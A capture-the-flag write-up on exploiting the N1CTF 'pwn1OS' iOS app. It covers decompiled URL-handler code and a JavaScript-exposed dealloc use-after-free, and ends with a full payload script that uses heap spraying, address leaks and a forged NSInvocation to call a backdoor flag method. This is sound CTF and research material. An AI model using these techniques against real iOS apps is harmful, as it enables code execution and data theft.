From JavaScript to Objective-C: iOS Userland Exploitation, pwn1OS in N1CTF

Thank the author for the great challenge. We S1uM4i got the first blood of this challenge and we are the only team that solved it. The challenge is very interesting and I learned a lot from it. I will try to explain the exploitation in detail.

Analysis

The application registers a URL Scheme, you can find it in Info.plist

1
2
3
4
<key>CFBundleURLSchemes</key>
<array>
<string>n1ctf</string>
</array>

So we can open the application by opening a URL like n1ctf://aaa/bbb/ccc. The application will parse the URL and do some actions according to the URL.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
void __cdecl -[SceneDelegate scene:openURLContexts:](SceneDelegate *self, SEL a2, id a3, id a4)
{
id v4; // ST00_8
void *v5; // ST10_8
void *v6; // ST08_8
void *v7; // ST20_8
const char *v8; // [xsp+18h] [xbp-58h]
__int64 v9; // [xsp+48h] [xbp-28h]
void *v10; // [xsp+50h] [xbp-20h]
__int64 v11; // [xsp+58h] [xbp-18h]
SEL v12; // [xsp+60h] [xbp-10h]
SceneDelegate *v13; // [xsp+68h] [xbp-8h]

v4 = a4;
v13 = self;
v12 = a2;
v11 = 0LL;
objc_storeStrong();
v10 = 0LL;
objc_storeStrong();
objc_msgSend_allObjects(v10, v8, v4);
v5 = (void *)objc_retainAutoreleasedReturnValue();
objc_msgSend_firstObject(v5, v8);
v6 = (void *)objc_retainAutoreleasedReturnValue();
objc_msgSend_URL(v6, v8);
v9 = objc_retainAutoreleasedReturnValue();
objc_release(v6);
objc_release(v5);
objc_msgSend_defaultCenter(&OBJC_CLASS___NSNotificationCenter, v8);
v7 = (void *)objc_retainAutoreleasedReturnValue();
objc_msgSend_postNotificationName_object_(v7, v8, CFSTR("openWebView"), v9);
objc_release(v7);
objc_storeStrong();
objc_storeStrong();
objc_storeStrong();
}

void __cdecl -[ViewController didReceiveNotification:](ViewController *self, SEL a2, id a3)
{
void *v3; // ST78_8
__int64 v4; // ST80_8
void *v5; // ST38_8
__int64 v6; // ST48_8
__int64 v7; // ST40_8
void *v8; // ST28_8
char v9; // ST34_1
__int64 v10; // ST10_8
void *v11; // ST18_8
__int64 v12; // [xsp+58h] [xbp-188h]
__int64 v13; // [xsp+60h] [xbp-180h]
__int64 v14; // [xsp+68h] [xbp-178h]
void *v15; // [xsp+70h] [xbp-170h]
void *v16; // [xsp+90h] [xbp-150h]
void *v17; // [xsp+98h] [xbp-148h]
const char *v18; // [xsp+A8h] [xbp-138h]
void *v19; // [xsp+B0h] [xbp-130h]
char v20; // [xsp+B8h] [xbp-128h]
__int64 v21; // [xsp+C0h] [xbp-120h]
__int64 *v22; // [xsp+C8h] [xbp-118h]
void *v23; // [xsp+F8h] [xbp-E8h]
void *v24; // [xsp+100h] [xbp-E0h]
void *v25; // [xsp+108h] [xbp-D8h]
int v26; // [xsp+114h] [xbp-CCh]
void *host; // [xsp+118h] [xbp-C8h]
void *scheme; // [xsp+120h] [xbp-C0h]
__int128 v29; // [xsp+128h] [xbp-B8h]
SEL v30; // [xsp+138h] [xbp-A8h]
ViewController *v31; // [xsp+140h] [xbp-A0h]
char v32; // [xsp+148h] [xbp-98h]

v31 = self;
v30 = a2;
objc_storeStrong();
objc_msgSend_object(0LL, v18);
v29 = (unsigned __int64)objc_retainAutoreleasedReturnValue();
objc_msgSend_scheme((void *)v29, v18);
scheme = (void *)objc_retainAutoreleasedReturnValue();
objc_msgSend_host((void *)v29, v18);
host = (void *)objc_retainAutoreleasedReturnValue();
if ( (unsigned __int64)objc_msgSend_isEqualToString_(scheme, v18, CFSTR("n1ctf")) & 1
&& (unsigned __int64)objc_msgSend_isEqualToString_(host, v18, CFSTR("web")) & 1 )
{
v3 = (void *)objc_alloc(&OBJC_CLASS___NSURLComponents);
objc_msgSend_absoluteString((void *)v29, v18);
v4 = objc_retainAutoreleasedReturnValue();
v25 = objc_msgSend_initWithString_(v3, v18);
objc_release(v4);
v24 = objc_msgSend_new(&OBJC_CLASS___NSMutableDictionary, v18);
memset(&v20, 0, 0x40uLL);
objc_msgSend_queryItems(v25, v18);
v16 = (void *)objc_retainAutoreleasedReturnValue();
v17 = objc_msgSend_countByEnumeratingWithState_objects_count_(v16, v18, &v20, &v32, 16LL);
if ( v17 )
{
v13 = *v22;
v14 = 0LL;
v15 = v17;
while ( 1 )
{
v12 = v14;
if ( *v22 != v13 )
objc_enumerationMutation(v16);
v23 = *(void **)(v21 + 8 * v14);
v5 = v24;
objc_msgSend_value(v23, v18);
v6 = objc_retainAutoreleasedReturnValue();
objc_msgSend_name(v23, v18);
v7 = objc_retainAutoreleasedReturnValue();
objc_msgSend_setValue_forKey_(v5, v18, v6);
objc_release(v7);
objc_release(v6);
++v14;
if ( v12 + 1 >= (unsigned __int64)v15 )
{
v14 = 0LL;
v15 = objc_msgSend_countByEnumeratingWithState_objects_count_(v16, v18, &v20, &v32, 16LL);
if ( !v15 )
break;
}
}
}
objc_release(v16);
objc_msgSend_allKeys(v24, v18);
v8 = (void *)objc_retainAutoreleasedReturnValue();
v9 = (unsigned __int64)objc_msgSend_containsObject_(v8, v18, CFSTR("url"));
objc_release(v8);
if ( v9 & 1 )
{
v19 = objc_msgSend_new(&OBJC_CLASS___WebViewController, v18);
objc_msgSend_objectForKeyedSubscript_(v24, v18, CFSTR("url"));
v10 = objc_retainAutoreleasedReturnValue();
objc_msgSend_setUrlString_(v19, v18);
objc_release(v10);
objc_msgSend_navigationController(v31, v18);
v11 = (void *)objc_retainAutoreleasedReturnValue();
objc_msgSend_pushViewController_animated_(v11, v18, v19, 1LL);
objc_release(v11);
objc_storeStrong();
}
objc_storeStrong();
objc_storeStrong();
v26 = 0;
}
else
{
v26 = 1;
}
objc_storeStrong();
objc_storeStrong();
objc_storeStrong();
objc_storeStrong();
}

Then do a classical class dump first

1
2
3
4
5
6
7
8
9
10
11
@interface ScriptInterface : NSObject
@end

@interface CoreService : ScriptInterface
@end

@interface N1CTFIntroduction : ScriptInterface
@end

@interface HTTRequest : ScriptInterface
@end

And an instance of ScriptInterface is explosed to the context of JavaScript

1
2
3
v11 = objc_msgSend_new(&OBJC_CLASS___ScriptInterface, v18);
objc_msgSend_setValue_forKey_(v10, v18);
objc_release(v11);

All these are the subclass of ScriptInterface. So we can call their methods in the context of JavaScript.

Also

1
+ (_Bool)isSelectorExcludedFromWebScript:(SEL)arg1;

always returns NO, which means all the methods are exposed to JavaScript. Considering the following code:

1
2
3
a = n1ctf.$makeCoreService();
window.a = a;
a.dealloc();

We can see that the dealloc method is exposed to JavaScript. So we can call dealloc on any object to free it. This is a very powerful primitive that let us use after free any ScriptInterface and subclass object.

In -[CoreService dealloc], it will call -[NSInvocation invoke] on its property @property NSInvocation * cancelRequest;. So we can craft a fake NSInvocation object to call any method on any object. For example, +[BackDoor getFlag:]. (Actually in a challenge designed by me for my undergraduate school’s CTF, there is a similar technique, e.g. using NSInvocation to call arbitrary C functions`)

To build up the addrof() primitive, we can make use of the error message when calling a non-exist method on and object. I took the implementation from CodeColorist’s writeup for CVE-2021-1748

1
2
3
4
5
6
7
8
9
10
11
12
// copy from CVE-2021-1784
function addrof(obj) {
n1ctf.$setChallenge_(obj)
try {
n1ctf.$challenge()
} catch (e) {
console.debug(e)
const match = /instance (0x[\da-f]+)$/i.exec(e)
if (match) return match[1]
throw new Error('Failed')
} finally { }
}

Another challenge is how to do the heap spray. Luckily we have a method

1
2
3
4
5
6
7
8
9
10
11
@interface HTTRequest : ScriptInterface
{
NSData *_data;
}

- (void).cxx_destruct;
@property(retain, nonatomic) NSData *data; // @synthesize data=_data;
- (void)describeObject:(id)arg1:(id)arg2;
- (void)addMultiPartData:(id)arg1;

@end

-[HTTRequest addMultiPartData:] takes a base64 encoded string as input, and decodes it to store in NSData *_data. So we can use this method to do heap spray.

Exploit

So the exploitation looks like this:

  • Free a CoreService object
  • Reallocate it and perform a type confusion, convert it to a NSConcreteData object to do memory disclosure
  • Leak dyld_shared_cache, pwn1OS base address, tagged NSMethodSignature address and cookie
  • Set up the arguments for +[BackDoor getFlag:]
  • Craft fake NSInvocation object to call +[BackDoor getFlag:]

Script

I have no idea about how to write elegant JavaScript so don’t blame me.
The full payload generated script is here:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
String.prototype.toDataURI = function () {
return 'data:text/html;,' + encodeURIComponent(this).replace(/[!'()*]/g, escape);
}

/*
0x2834c99a0: 0x02000001f9e2a699 0x0000000102c29f20 <- isa, frame:0x0000000102c29f20 -> [target, selector, arguments]
0x2834c99b0: 0x0000000102c29de0 0xbd0461d930d9b4a7 <- retdata, signature
0x2834c99c0: 0x0000000000000000 0x0000000000000000 <- wtf, 0
0x2834c99d0: 0x00000002819a39f0 0x00000001e60e9a43 <- target, selector
0x2834c99e0: 0x00000000a50e01d3 0x0000000000000000 <- _magic_cookie.ovalue, 0
*/

function payload() {

function hexToBase64(hexstring) {
return btoa(hexstring.match(/\w{2}/g).map(function (a) {
return String.fromCharCode(parseInt(a, 16));
}).join(""));
}

function p64(data) {
// data is a number
data = BigInt(data)
str_data = data.toString(16);
// pad to 8 bytes
str_data = str_data.padStart(16, '0');
// reverse bytes order
str_data = str_data.match(/\w{2}/g).reverse().join("");
return str_data;
}

var offsets = {
// remember to change all of this!
base_address: 0x0000000100000000,
corefoundation_base: 0x0000000180329000, // done
NSArrayI_Class: 0x00000001DE53ABF8, // done
NSInvocation_Class: 0x00000001de53a658, // done
NSBooleanFalse: 0x00000001da63a0b8, // done
NSData_Class: 0x00000001DE3719C8, // done
NSConcreteData_Class: 0x00000001de542370, // done
foundation_corefoundation_offset:0x1311000, // done
foundation_base: 0x000000018163A000, // done
HTTRequest_Class: 0x0000000100013300,
CoreService_Class: 0x0000000100013238,
BackDoor_Class: 0x0000000100013120,
getFlag_SEL: 0x000000010000D99B
};


// copy from CVE-2021-1784
function addrof(obj) {
n1ctf.$setChallenge_(obj)
try {
n1ctf.$challenge()
} catch (e) {
console.debug(e)
const match = /instance (0x[\da-f]+)$/i.exec(e)
if (match) return match[1]
throw new Error('Failed')
} finally { }
}

function process_leak_data(leak) {
// find 'bytes = ' in leak_data, get all bytes after it, remove the last '}'
leak = leak.split('bytes = ')[1].split('}')[0]
// remove the first 0x
leak = leak.slice(2);
// the leak is 24 bytes, split to 3 parts, each 8 bytes
leak = leak.match(/\w{16}/g);
// for each part, reverse the bytes order
leak = leak.map(x => x.match(/\w{2}/g).reverse().join(""));
// convert to number
leak = leak.map(x => BigInt("0x" + x, 16));

return leak;
}

c1 = n1ctf.$makeCoreService()
window.c1 = c1;
window.data_array = [];

corefoundation_addr = addrof(false)
n1ctf.$DEBUGLOG_(corefoundation_addr);

corefoundation_addr = parseInt(corefoundation_addr, 16)
corefoundation_addr -= offsets.NSBooleanFalse;
corefoundation_slide = corefoundation_addr;
corefoundation_addr += offsets.corefoundation_base;
foundation_addr = corefoundation_addr + offsets.foundation_corefoundation_offset;
foundation_slide = foundation_addr - offsets.foundation_base;
// to hex
coreservice = n1ctf.$makeCoreService();

coreservice_addr = addrof(coreservice)
n1ctf.$DEBUGLOG_(coreservice_addr);
coreservice_addr = parseInt(coreservice_addr, 16);

// make HTTRequest
req = n1ctf.$makeHTTRequest();

req_addr = addrof(req);
req_addr = parseInt(req_addr, 16);

c1_addr = addrof(c1);
c1_addr = parseInt(c1_addr, 16);

// craft payload
// leak isa and cancelRequest of c1
dt = p64(foundation_slide + offsets.NSConcreteData_Class) + p64(24) +
p64(c1_addr) + p64(0) +
p64(foundation_slide + offsets.NSConcreteData_Class) + p64(24)

// save coreservice
window.coreservice = coreservice;
coreservice.dealloc(); // use-after-free

// base64
for (let i = 0; i < 0x90; i++) {
req.addMultiPartData_(hexToBase64(dt));
window.data_array.push(req.data());
}
n1ctf.$describeObject__(coreservice);
leak_data = `${coreservice}`

leak_data = process_leak_data(leak_data);
// calculate the base address of pwn1OS
pwn1OS_base = leak_data[0] & 0xFFFFFFFFFFFFFn;
pwn1OS_base -= (BigInt(offsets.CoreService_Class) + 1n);
pwn1OS_base += 0x0000000100000000n;

c1_invocation_addr = addrof(c1.$cancelRequest());
c1_invocation_addr = parseInt(c1_invocation_addr, 16);
n1ctf.$DEBUGLOG_("target: " + c1_invocation_addr.toString(16));
n1ctf.$DEBUGLOG_("fake NSConcreteData: " + addrof(window.coreservice));

// craft payload
// leak the tagged NSMethodSignature
dt = p64(foundation_slide + offsets.NSConcreteData_Class) + p64(24) +
p64(c1_invocation_addr + 0x18) + p64(0) +
p64(foundation_slide + offsets.NSConcreteData_Class) + p64(24)

coreservice.dealloc(); // use-after-free
window.data_array = [];
for (let i = 0; i < 0x90; i++) {
req.addMultiPartData_(hexToBase64(dt));
window.data_array.push(req.data());
}

leak_data = `${coreservice}`
n1ctf.$DEBUGLOG_("leak tagged NSMethodSignature");
leak_data = process_leak_data(leak_data);
tagged_NSMethodSignature = leak_data[0]

c2 = n1ctf.$makeCoreService();
window.c2 = c2;
n1ctf.$DEBUGLOG_("target: " + c1_invocation_addr.toString(16));
n1ctf.$DEBUGLOG_("fake NSConcreteData: " + addrof(window.c2));

// craft payload, leak the cookie
dt = p64(foundation_slide + offsets.NSConcreteData_Class) + p64(24) +
p64(c1_invocation_addr + 0x30) + p64(0) +
p64(foundation_slide + offsets.NSConcreteData_Class) + p64(24)

n1ctf.$makeN1CTFIntroduction();
c2.dealloc();
window.data_array2 = [];
for (let i = 0; i < 0x90; i++) {
req.addMultiPartData_(hexToBase64(dt));
window.data_array2.push(req.data());
}

introduction1 = n1ctf.$makeN1CTFIntroduction();
leak_data = `${c2}`
n1ctf.$DEBUGLOG_("leak cookie");
leak_data = process_leak_data(leak_data);
cookie = leak_data[2]

window.introduction1 = introduction1;
introduction1_addr = addrof(introduction1);
introduction1_addr = parseInt(introduction1_addr, 16);
n1ctf.$DEBUGLOG_("introduction1_addr: " + introduction1_addr.toString(16));

window.data_array3 = [];
window.c1.$setCancelRequest_(window.introduction1);

n1i1 = n1ctf.$makeN1CTFIntroduction();
n1i2 = n1ctf.$makeN1CTFIntroduction();
n1i3 = n1ctf.$makeN1CTFIntroduction();

n1i1.setP_("http://aaa.aaa.aaa.aaa:aaaaa///pleasegivemetheflag");
addrof_p = addrof(n1i1.p());

n1i2.dealloc();
n1i3.dealloc();

n1ctf.$DEBUGLOG_("spray fake NSInvocation");
// craft payload
fake_invok = p64(corefoundation_slide + offsets.NSInvocation_Class) + p64(introduction1_addr +0x50) +
p64(introduction1_addr + 0x80) + p64(tagged_NSMethodSignature) +
p64(0) + p64(0) +
p64(pwn1OS_base-BigInt(offsets.base_address)+BigInt(offsets.BackDoor_Class)) + p64(pwn1OS_base-BigInt(offsets.base_address)+BigInt(offsets.getFlag_SEL)) +
p64(cookie) + p64(0) +
p64(pwn1OS_base-BigInt(offsets.base_address)+BigInt(offsets.BackDoor_Class)) + p64(pwn1OS_base-BigInt(offsets.base_address)+BigInt(offsets.getFlag_SEL)) +
p64(addrof_p) + p64(0) +
p64(0) + p64(0) +
p64(0) + p64(0) +
p64(0) + p64(0) +
p64(0) + p64(0) +
p64(0) + p64(0)

introduction1.$dealloc();
for (let i = 0; i < 0x90; i++) {
req.addMultiPartData_(hexToBase64(fake_invok))
window.data_array3.push(req.data());
}
n1ctf.$describeObject__(introduction1);
c1.dealloc();
}

data = `<script type="application/javascript">(${payload})()</script>`.toDataURI()
url = new URL('n1ctf://web/fyou?url=fme')
url.searchParams.set('url', data);
url.toString()
console.log(url.toString())